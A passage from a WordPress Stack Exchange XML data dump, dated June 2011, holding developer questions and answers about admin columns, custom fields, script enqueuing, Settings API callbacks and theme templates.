&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;add_filter( 'manage-edit-shoe-drops_sortable_columns', '...');&lt;/code&gt; was using a dash instead of an underscore. It should have been &lt;code&gt;add_filter( 'manage_edit-shoe-drops_sortable_columns', '...');&lt;/code&gt; &lt;/p&gt;&#xA;" OwnerUserId="5903" LastEditorUserId="5903" LastEditorDisplayName="" LastEditDate="2011-06-03T10:19:43.240" LastActivityDate="2011-06-03T10:19:43.240" ClosedDate="2011-06-03T18:56:07.453" Title="Sortable Columns (based on Scribu how-to) not working" Tags="&lt;custom-post-types&gt;&lt;sort&gt;" />
  <row Id="19137" PostTypeId="2" ParentId="19116" CreationDate="2011-06-03T10:15:33.540" Score="1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Editing_wp-config.php#Configure_Error_Log&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Editing_wp-config.php#Configure_Error_Log&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-06-03T10:15:33.540" />
  <row Id="19138" PostTypeId="2" ParentId="19102" CreationDate="2011-06-03T10:29:16.170" Score="3" ViewCount="" Body="&lt;p&gt;I'm the developer of the &lt;a href=&quot;http://wordpress.org/extend/plugins/list-category-posts/&quot; rel=&quot;nofollow&quot;&gt;List Category Posts&lt;/a&gt; WordPress plugin. The plugin uses a short code to get posts from a category and you can include thumbnails too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Give it a try and hopefully you'll find it useful.&lt;/p&gt;&#xA;" OwnerUserId="298" LastActivityDate="2011-06-03T10:29:16.170" CommentCount="5" />
  <row Id="19140" PostTypeId="1" CreationDate="2011-06-03T11:06:17.593" Score="0" ViewCount="46" Body="&lt;p&gt;I am trying to link to category page using custom field value that is already used for another function on the page (a custom template page&gt;, but it does not display the category value in the custom field. Here is the code i'm using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;            $key=&quot;Category&quot;;&#xA;            $dl= get_post_meta($post-&amp;gt;ID, $key, true);&#xA;            $moreposts ='&amp;lt;a href= &quot;/index.php?cat=' . $dl . '&quot;&amp;gt;Older posts here &amp;gt;&amp;lt;/a&amp;gt;';&#xA;            echo $moreposts;&#xA;            ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As a php novice i was hoping for some help on this. &lt;/p&gt;&#xA;" OwnerUserId="5739" LastActivityDate="2011-06-03T11:06:17.593" Title="Custom field value not displayed" Tags="&lt;custom-field&gt;" CommentCount="2" />
  <row Id="19141" PostTypeId="1" AcceptedAnswerId="19145" CreationDate="2011-06-03T11:19:46.287" Score="1" ViewCount="139" Body="&lt;p&gt;Almost all divs say &lt;strong&gt;wpl&lt;/strong&gt; but can't find which plugin is.&#xA;For example, &lt;code&gt;#wpl-likebox&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a page that is using it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wpdevel.wordpress.com/2011/05/25/jquery-updates-in-wordpress-3-2/&quot; rel=&quot;nofollow&quot;&gt;http://wpdevel.wordpress.com/2011/05/25/jquery-updates-in-wordpress-3-2/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-08-12T23:52:38.340" Title="Can anyone identify this like plugin (not facebook like)?" Tags="&lt;plugins&gt;" AnswerCount="4" CommentCount="1" />
  <row Id="19142" PostTypeId="1" CreationDate="2011-06-03T11:24:47.037" Score="0" ViewCount="16" Body="&lt;p&gt;Running Firefox 4.0.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On an individual Post, only the comments field is visible. In IE, the name, email address, website and comments fields are viewable on this same page. I assume this is a Firefox glitch?&lt;/p&gt;&#xA;" OwnerUserId="5905" LastActivityDate="2011-06-03T11:24:47.037" Title="Post Comments field(s) not displaying in Firefox 4.0.1 vs. IE" Tags="&lt;posts&gt;" />
  <row Id="19143" PostTypeId="2" ParentId="18842" CreationDate="2011-06-03T11:26:55.277" Score="1" ViewCount="" Body="&lt;p&gt;Ok, I finally managed to solve that by myself. It is possible thanks to :&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create the first field :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    while($mb-&amp;gt;have_fields_and_multi('types')):&#xA;    $mb-&amp;gt;the_group_open();&#xA;    $mb-&amp;gt;the_field('type');&#xA;?&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; id=&quot;&amp;lt;?php $mb-&amp;gt;the_name(); ?&amp;gt;&quot; name=&quot;&amp;lt;?php $mb-&amp;gt;the_name(); ?&amp;gt;&quot; value=&quot;&amp;lt;?php $mb-&amp;gt;the_value(); ?&amp;gt;&quot; /&amp;gt;&#xA;&amp;lt;a href=&quot;#&quot; class=&quot;dodelete button&quot;&amp;gt;Remove&amp;lt;/a&amp;gt;&#xA;&amp;lt;?php&#xA;    $mb-&amp;gt;the_group_close();&#xA;    endwhile;&#xA;?&amp;gt;&#xA;&amp;lt;a href=&quot;#&quot; class=&quot;docopy-types button&quot; style=&quot;float: left&quot;&amp;gt;Add new&amp;lt;/a&amp;gt;&#xA;&amp;lt;a href=&quot;#&quot; class=&quot;dodelete-types button&quot; style=&quot;float: right&quot;&amp;gt;Delete all&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create the second batch of fields while using &lt;code&gt;foreach&lt;/code&gt; to get the data from the first fields and put that in a &lt;code&gt;select&lt;/code&gt; :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    while($mb-&amp;gt;have_fields_and_multi('details')):&#xA;    $mb-&amp;gt;the_group_open();&#xA;    $mb-&amp;gt;the_field('detail_select');&#xA;?&amp;gt;&#xA;&amp;lt;select name=&quot;&amp;lt;?php $mb-&amp;gt;the_name(); ?&amp;gt;&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;&quot;&amp;gt;Choose...&amp;lt;/option&amp;gt;&#xA;    &amp;lt;?php foreach ($meta['types'] as $types) { ?&amp;gt;&#xA;    &amp;lt;option value=&quot;&amp;lt;?php echo $types['type']; ?&amp;gt;&quot;&amp;lt;?php $mb-&amp;gt;the_select_state($types['type']); ?&amp;gt;&amp;gt;&amp;lt;?php echo $types['type']; ?&amp;gt;&amp;lt;/option&amp;gt;&#xA;    &amp;lt;?php } ?&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&amp;lt;?php $mb-&amp;gt;the_field('detail_title'); ?&amp;gt;&#xA;&amp;lt;label&amp;gt;Description&amp;lt;/label&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; id=&quot;&amp;lt;?php $mb-&amp;gt;the_name(); ?&amp;gt;&quot; name=&quot;&amp;lt;?php $mb-&amp;gt;the_name(); ?&amp;gt;&quot; value=&quot;&amp;lt;?php $mb-&amp;gt;the_value(); ?&amp;gt;&quot; /&amp;gt;&amp;lt;br /&amp;gt;&#xA;&amp;lt;a href=&quot;#&quot; class=&quot;dodelete button&quot;&amp;gt;Remove&amp;lt;/a&amp;gt;&#xA;&amp;lt;?php&#xA;    $mb-&amp;gt;the_group_close();&#xA;    endwhile;&#xA;?&amp;gt;&#xA;&amp;lt;a href=&quot;#&quot; class=&quot;docopy-estate_details button&quot;&amp;gt;Add new&amp;lt;/a&amp;gt;&#xA;&amp;lt;a href=&quot;#&quot; class=&quot;dodelete-estate_details button&quot;&amp;gt;Delete all&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="5834" LastActivityDate="2011-06-03T11:26:55.277" />
  <row Id="19145" PostTypeId="2" ParentId="19141" CreationDate="2011-06-03T11:41:53.963" Score="1" ViewCount="" Body="&lt;p&gt;It is a &lt;a href=&quot;http://en.blog.wordpress.com/2010/08/03/like-a-post/&quot; rel=&quot;nofollow&quot;&gt;custom Plugin&lt;/a&gt; for WordPress.com.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-06-03T11:41:53.963" CommentCount="2" />
  <row Id="19147" PostTypeId="1" AcceptedAnswerId="19150" CreationDate="2011-06-03T14:20:25.323" Score="0" ViewCount="88" Body="&lt;p&gt;I've added to the theme (twenty ten) a php template file in which I've written some javascript code.&lt;br&gt;&#xA;I then created a new page and set it to use that template.&lt;br&gt;&#xA;Then I installed and activated the 'wp-minify' plugin hoping for it to drop the blanks and comments.&lt;br&gt;&#xA;But when I look at the page's source code in the browser I see the code regularly.&lt;br&gt;&#xA;Your advice will be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="5171" LastEditorUserId="5171" LastEditorDisplayName="" LastEditDate="2011-06-03T15:01:46.190" LastActivityDate="2011-06-03T15:03:54.220" Title="Wp-minify doesn't seem to minify my JS code" Tags="&lt;plugins&gt;&lt;template&gt;&lt;javascript&gt;" AnswerCount="2" />
  <row Id="19148" PostTypeId="1" AcceptedAnswerId="19153" CreationDate="2011-06-03T14:57:45.980" Score="0" ViewCount="61" Body="&lt;p&gt;How Can I add some js files from a plugin to a specific location with add_action&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am Using this widget: &#xA;&lt;a href=&quot;http://www.designchemical.com/blog/index.php/wordpress-plugins/wordpress-plugin-jquery-vertical-accordion-menu-widget/&quot; rel=&quot;nofollow&quot;&gt;http://www.designchemical.com/blog/index.php/wordpress-plugins/wordpress-plugin-jquery-vertical-accordion-menu-widget/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is adding its file here:&#xA;  After&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;script type='text/javascript' src='http://new.dajewelers.com/wp-includes/js/l10n.js?         ver=20101110'&amp;gt;&amp;lt;/script&amp;gt;&#xA;  &amp;lt;script type='text/javascript' src='http://new.dajewelers.com/wp- includes/js/jquery/jquery.js?ver=1.4.4'&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and before these lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   &amp;lt;script type='text/javascript' src='http://new.dajewelers.com/wp-includes/js/jquery/ui.core.js?ver=1.8.9'&amp;gt;&amp;lt;/script&amp;gt;&#xA;    &amp;lt;script type='text/javascript' src='http://new.dajewelers.com/wp-includes/js/jquery/ui.widget.js?ver=1.8.9'&amp;gt;&amp;lt;/script&amp;gt;&#xA;    &amp;lt;script type='text/javascript' src='http://new.dajewelers.com/wp-includes/js/jquery/ui.tabs.js?ver=1.8.9'&amp;gt;&amp;lt;/script&amp;gt;&#xA;     &amp;lt;script type='text/javascript' src='http://new.dajewelers.com/wp-includes/js/jquery/ui.mouse.js?ver=1.8.9'&amp;gt;&amp;lt;/script&amp;gt;&#xA;    &amp;lt;script type='text/javascript' src='http://new.dajewelers.com/wp-includes/js/jquery/ui.resizable.js?ver=1.8.9'&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Its code is basically for accordion and I think it is not working because it is coming before JQuery.ui files. So I want it to come after UI Files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please can some one figure out the problem or if same is problem then how to fix that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And this is wp code that is doing so&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    if(!is_admin()){&#xA;        // Header styles&#xA;        add_action( 'wp_head', array('dc_jqaccordion', 'header') );&#xA;&#xA;        // Scripts&#xA;        wp_enqueue_script( 'jquery' );&#xA;        wp_enqueue_script( 'jqueryhoverintent', dc_jqaccordion::get_plugin_directory() . '/js/jquery.hoverIntent.minified.js', array('jquery') );&#xA;        wp_enqueue_script( 'jquerycookie', dc_jqaccordion::get_plugin_directory() . '/js/jquery.cookie.js', array('jquery') );&#xA;        wp_enqueue_script( 'dcjqaccordion', dc_jqaccordion::get_plugin_directory() . '/js/jquery.dcjqaccordion.2.8.js', array('jquery') );&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is the link where all this is : &lt;a href=&quot;http://new.dajewelers.com&quot; rel=&quot;nofollow&quot;&gt;http://new.dajewelers.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please tell if you have any idea. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="5196" LastActivityDate="2011-06-03T15:12:52.217" Title="I add some js files from a plugin to a specific location" Tags="&lt;widgets&gt;&lt;add-action&gt;&lt;wp-head&gt;&lt;jquery-ui&gt;" AnswerCount="1" />
  <row Id="19149" PostTypeId="2" ParentId="19147" CreationDate="2011-06-03T15:02:34.177" Score="0" ViewCount="" Body="&lt;p&gt;I assume it's because your js is inline and not a .js file.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-06-03T15:02:34.177" CommentCount="4" />
  <row Id="19150" PostTypeId="2" ParentId="19147" CreationDate="2011-06-03T15:03:54.220" Score="1" ViewCount="" Body="&lt;p&gt;As far as i understand WP Minify plugin works on scripts and styles that are included in your page &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; tag as external files and not scripts and style that are in the &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt; tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you are inserting scripts and style in the &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt; tag manully you should insert it after you minify it and you can use many of the free &lt;a href=&quot;http://www.google.co.il/search?hl=iw&amp;amp;client=firefox-a&amp;amp;hs=bmW&amp;amp;rls=org.mozilla%3aen-US%3aofficial&amp;amp;q=js%20minify%20online&amp;amp;aq=f&amp;amp;aqi=&amp;amp;aql=&amp;amp;oq=&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;online minify tools&lt;/strong&gt;&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-03T15:03:54.220" CommentCount="3" />
  <row Id="19151" PostTypeId="2" ParentId="19130" CreationDate="2011-06-03T15:10:23.990" Score="0" ViewCount="" Body="&lt;p&gt;its a simple one liner if you want to use jQuery:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery('#page-id').attr(&quot;href&quot;, &quot;http://www.google.com/&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-03T15:10:23.990" CommentCount="2" />
  <row Id="19152" PostTypeId="2" ParentId="19129" CreationDate="2011-06-03T15:12:45.457" Score="1" ViewCount="" Body="&lt;p&gt;I know there are a few but the one that stands out is &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-table-reloaded/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;WP-Table Reloaded&lt;/strong&gt;&lt;/a&gt; plugin which answers your requirements and has endless of customization options and features.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-03T15:12:45.457" />
  <row Id="19153" PostTypeId="2" ParentId="19148" CreationDate="2011-06-03T15:12:52.217" Score="0" ViewCount="" Body="&lt;p&gt;you have a $ undefined js error on line 191. wp_enqueue_script has a dependencies parameter, I think you need to pass the jquery-ui handle as a dependency with your accordion script so it loads first.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-06-03T15:12:52.217" />
  <row Id="19154" PostTypeId="2" ParentId="19122" CreationDate="2011-06-03T15:19:27.377" Score="2" ViewCount="" Body="&lt;p&gt;Using two separate installations would make your life easier but this can easly be done using a single install and a &lt;a href=&quot;http://codex.wordpress.org/Pages#Creating_Your_Own_Page_Templates&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;custom page template&lt;/strong&gt;&lt;/a&gt; ,since Individual Pages can be set to use a specific custom Page Template.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-03T15:19:27.377" CommentCount="2" />
  <row Id="19155" PostTypeId="1" CreationDate="2011-06-03T15:21:27.173" Score="1" ViewCount="57" Body="&lt;p&gt;I have a custom menu in a sidebar for one area of a site. It includes a link to a custom post type index (custom made, not using a page), a category archive, and the blog home. These pages all use that same menu. Currently, none of these get 'current' classes when you're on the associated page. I'm looking for probably a custom Walker class to solve this, but I'm not sure where to begin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be awesome!&lt;/p&gt;&#xA;" OwnerUserId="1099" LastActivityDate="2011-06-03T15:21:27.173" ClosedDate="2011-06-03T19:13:34.280" Title="Giving a 'current' class to nav items not normally marked as such by WP" Tags="&lt;custom-menus&gt;" CommentCount="2" />
  <row Id="19156" PostTypeId="1" AcceptedAnswerId="19160" CreationDate="2011-06-03T15:27:45.770" Score="3" ViewCount="178" Body="&lt;p&gt;I am attempting to automate, as much as possible, the Settings API function calls for each setting in a Plugin. Looping through the options array, and outputting &lt;code&gt;add_settings_section()&lt;/code&gt; and &lt;code&gt;add_settings_field()&lt;/code&gt; is simple enough:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;add_settings_section()&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$oenology_hooks_tabs = oenology_hooks_get_settings_page_tabs();&#xA;foreach ( $oenology_hooks_tabs as $tab ) {&#xA;    $tabname = $tab['name'];&#xA;    $tabtitle = $tab['title'];&#xA;    $tabsections = $tab['sections'];&#xA;    foreach ( $tabsections as $section ) {&#xA;        $sectionname = $section['name'];&#xA;        $sectiontitle = $section['title'];&#xA;        $sectiondescription = $section['description'];&#xA;        // Add settings section&#xA;        add_settings_section(&#xA;            'oenology_hooks_' . $sectionname . '_section',&#xA;            $sectiontitle,&#xA;            'oenology_hooks_' . $sectionname . '_text',&#xA;            'oenology_hooks_' . $tabname . '_tab'&#xA;        );&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And `add_settings_field():&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $oenology_hooks;&#xA;$oenology_hooks = oenology_hooks_get_hooks();&#xA;&#xA;foreach ( $oenology_hooks as $hook ) {&#xA;    $hookname = $hook['name'];&#xA;    $hooktitle = $hook['title'];&#xA;    $hooktab = $hook['tab'];&#xA;    $hooksection = $hook['section'];&#xA;    add_settings_field(&#xA;        'oenology_hooks_' . $hookname,&#xA;        $hooktitle,&#xA;        'oenology_hooks_setting_callback',&#xA;        'oenology_hooks_' . $hooktab . '_tab',&#xA;        'oenology_hooks_' . $hooksection . '_section',&#xA;        $hook&#xA;    );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With &lt;code&gt;add_settings_field()&lt;/code&gt;, I can easily write a generic callback, by passing the &lt;code&gt;$hook&lt;/code&gt; variable to the callback, as the fifth parameter in the function call:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function oenology_hooks_setting_callback( $hook ) {&#xA;    $oenology_hooks_options = get_option( 'plugin_oenology_hooks_settings' ); &#xA;    $hookname = $hook['name'];&#xA;    $hooktitle = $hook['title'];&#xA;    $hookdescription = $hook['description'];&#xA;    $hooktype = $hook['type'];&#xA;    $hooktab = $hook['tab'];&#xA;    $hooksection = $hook['section'];&#xA;    $inputvalue = $hookname . '_hide';&#xA;    $inputname = 'plugin_oenology_hooks_settings[' . $inputvalue . ']';&#xA;    $textareaname = 'plugin_oenology_hooks_settings[' . $hookname . ']';&#xA;    $textareavalue = $oenology_hooks_options[$hookname];&#xA;    if ( 'Filter' == $hooktype ) {&#xA;        ?&amp;gt;&#xA;        &amp;lt;input type=&quot;checkbox&quot; name=&quot;&amp;lt;?php echo $inputname; ?&amp;gt;&quot; value=&quot;&amp;lt;?php echo $inputvalue;?&amp;gt;&quot; &amp;lt;?php checked( true == $oenology_hooks_options[$inputvalue]  ); ?&amp;gt; /&amp;gt;&#xA;        &amp;lt;span&amp;gt;Hide &amp;lt;?php echo $hooktitle; ?&amp;gt; content?&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&#xA;        &amp;lt;?php&#xA;    }&#xA;    ?&amp;gt;&#xA;    &amp;lt;span class=&quot;description&quot;&amp;gt;&amp;lt;?php echo $hooktype; ?&amp;gt; Hook: &amp;lt;?php echo $hookdescription; ?&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&#xA;    &amp;lt;textarea name=&quot;&amp;lt;?php echo $textareaname; ?&amp;gt;&quot; cols=&quot;80&quot; rows=&quot;3&quot; &amp;gt;&amp;lt;?php &#xA;        echo esc_textarea( $textareavalue ); &#xA;    ?&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;    &amp;lt;?php &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, it appears that &lt;code&gt;add_settings_section()&lt;/code&gt; does not have an analogous &lt;code&gt;$args&lt;/code&gt; parameter; thus, I cannot use the same method to pass the &lt;code&gt;$section&lt;/code&gt; variable to the callback. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Thus, my question: is there any way to pass a variable to the &lt;code&gt;add_settings_section()&lt;/code&gt; callback, or some other way to create a callback analogous to what I'm doing for &lt;code&gt;add_settings_field()&lt;/code&gt;?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;@Bainternet nailed it! Here's my working code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Callback for add_settings_section()&#xA; * &#xA; * Generic callback to output the section text&#xA; * for each Plugin settings section. &#xA; * &#xA; * @param   array   $section_passed Array passed from add_settings_section()&#xA; */&#xA;function oenology_hooks_sections_callback( $section_passed ) {&#xA;    global $oenology_hooks_tabs;&#xA;    $oenology_hooks_tabs = oenology_hooks_get_settings_page_tabs();&#xA;    foreach ( $oenology_hooks_tabs as $tab ) {&#xA;        $tabname = $tab['name'];&#xA;        $tabsections = $tab['sections'];&#xA;        foreach ( $tabsections as $section ) {&#xA;            $sectionname = $section['name'];&#xA;            $sectiondescription = $section['description'];&#xA;            $section_callback_id = 'oenology_hooks_' . $sectionname . '_section';&#xA;            if ( $section_callback_id == $section_passed['id'] ) {&#xA;                ?&amp;gt;&#xA;                &amp;lt;p&amp;gt;&amp;lt;?php echo $sectiondescription; ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;                &amp;lt;?php&#xA;            }&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-06-05T22:52:58.877" LastActivityDate="2011-06-05T22:52:58.877" Title="How to pass variable to add_settings_section() callback?" Tags="&lt;settings&gt;&lt;api&gt;&lt;add-settings-section&gt;&lt;add-settings-field&gt;&lt;settings-api&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="2" />
  <row Id="19157" PostTypeId="2" ParentId="19124" CreationDate="2011-06-03T15:37:18.600" Score="0" ViewCount="" Body="&lt;p&gt;If popup div is out of the question since you have a lot of projects on a page then another option is to use ajax to grab the project content which shouldn't be too hard. and an even simpler solution would be to use jQuery &lt;a href=&quot;http://api.jquery.com/load/&quot; rel=&quot;nofollow&quot;&gt;.load()&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;first wrap you thumbnails with a link to the project page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a class=&quot;project_thumb&quot; href=&quot;&amp;lt;?php echo get_permalink(); ?&amp;gt;&quot;&amp;gt; ... thumbnail here &amp;lt;/a&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then add this js code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;    $(document).ready(function(){&#xA;        $('.project_thumb').live('click', function(e){&#xA;            e.preventDefault();&#xA;            var url = $(this).attr('href');&#xA;            url = url + ' #portfolioProject';&#xA;            $('#content').load(url, function(data, stat, req){&#xA;                $(this).fancybox();&#xA;            });&#xA;        })&#xA;    });&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and just change &lt;code&gt;#content&lt;/code&gt; to the id of the content container of your single project view. &lt;/p&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-06-05T22:28:57.107" LastActivityDate="2011-06-05T22:28:57.107" CommentCount="14" />
  <row Id="19158" PostTypeId="1" AcceptedAnswerId="19159" CreationDate="2011-06-03T16:07:40.407" Score="0" ViewCount="72" Body="&lt;p&gt;I have created a page on which I would like to run queries exlusively for one custom post type in the same way I'm using Category.php, Author.php and index.php to run queries for regular posts.  I can't seem to get anything to appear when I edit the page that is associated with the template I've created for this page, so I've edited the actual page template itself.  This may or may not be related to the fact that I can't get this page to behave like index.php does, i.e. providing a running list of posts until someone does a more refined search such as by Category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm stumped - how can I get a page template to work just like index.php does, but for the custom post type only?&lt;/p&gt;&#xA;" OwnerUserId="5278" LastActivityDate="2011-06-03T16:19:46.233" Title="Using Pages to handle calls for custom post types" Tags="&lt;page&gt;&lt;templates&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="19159" PostTypeId="2" ParentId="19158" CreationDate="2011-06-03T16:19:46.233" Score="0" ViewCount="" Body="&lt;p&gt;You want to use the template file &lt;code&gt;archive-{posttype}.php&lt;/code&gt; to output an archive index of your Custom Post Type, and the template file &lt;code&gt;single-{posttype}.php&lt;/code&gt; to output a single Custom Post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Refer to the &lt;a href=&quot;http://codex.wordpress.org/Template_Hierarchy#Custom_Post_Types_display&quot; rel=&quot;nofollow&quot;&gt;Codex entry for Template Hierarchy&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-06-03T16:19:46.233" CommentCount="19" />
  <row Id="19160" PostTypeId="2" ParentId="19156" CreationDate="2011-06-03T16:20:29.157" Score="5" ViewCount="" Body="&lt;p&gt;if you look at the &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.3/wp-admin/includes/template.php#L1164&quot; rel=&quot;nofollow&quot;&gt;do_settings_sections&lt;/a&gt; function more specifically the line 1164 where the callback function is being executed :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;call_user_func($section['callback'], $section);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you can see that the $section array is being passed to the callback function, so you can identify the callback by the &lt;code&gt;$section['id']&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;hope this make since.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Update&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;here is an example, if your add_settings_section callback for all sections was named &lt;code&gt;oenology_hooks_section_callback&lt;/code&gt; then you can identify it like this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function oenology_hooks_section_callback($section_passed){&#xA;    if ($section_passed['id'] == 'whatever_section_id'){&#xA;        //do stuff&#xA;    }&#xA;    if ($section_passed['id'] == 'whatever_section_id_number2'){&#xA;        //do other stuff&#xA;    }&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and by do stuff i mean do whatever you want to do with that section callback.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-06-04T00:55:00.120" LastActivityDate="2011-06-04T00:55:00.120" CommentCount="7" />
  <row Id="19161" PostTypeId="1" AcceptedAnswerId="19172" CreationDate="2011-06-03T16:27:14.057" Score="1" ViewCount="88" Body="&lt;p&gt;I am designing a theme where the home page (i.e. &lt;code&gt;is_home()&lt;/code&gt;) should only display the latest blog post. I want to do something like &lt;code&gt;$wp_query-&amp;gt;update_option('posts_per_page', 1)&lt;/code&gt; every time I am on the home page. All other pages that display posts (like archives) should just follow the user defined option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This seems a bit unnecessary to do every single time since the option should just be set once, right? Is it possible within The Loop to just ignore the user-set option of &lt;code&gt;posts_per_page&lt;/code&gt; and force &lt;code&gt;have_posts()&lt;/code&gt; to just be set to one post?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general, where should this kind of &quot;set-it-once&quot; stuff go? I don't really think it should be a plug-in because it is theme specific. I also don't want to mess with the user's options which is why &lt;code&gt;update_option&lt;/code&gt; isn't the best choice for this problem.&lt;/p&gt;&#xA;" OwnerUserId="5909" LastActivityDate="2011-06-04T09:22:44.173" Title="Where should I update_options in a theme?" Tags="&lt;theme-development&gt;&lt;customization&gt;&lt;options&gt;" AnswerCount="3" />
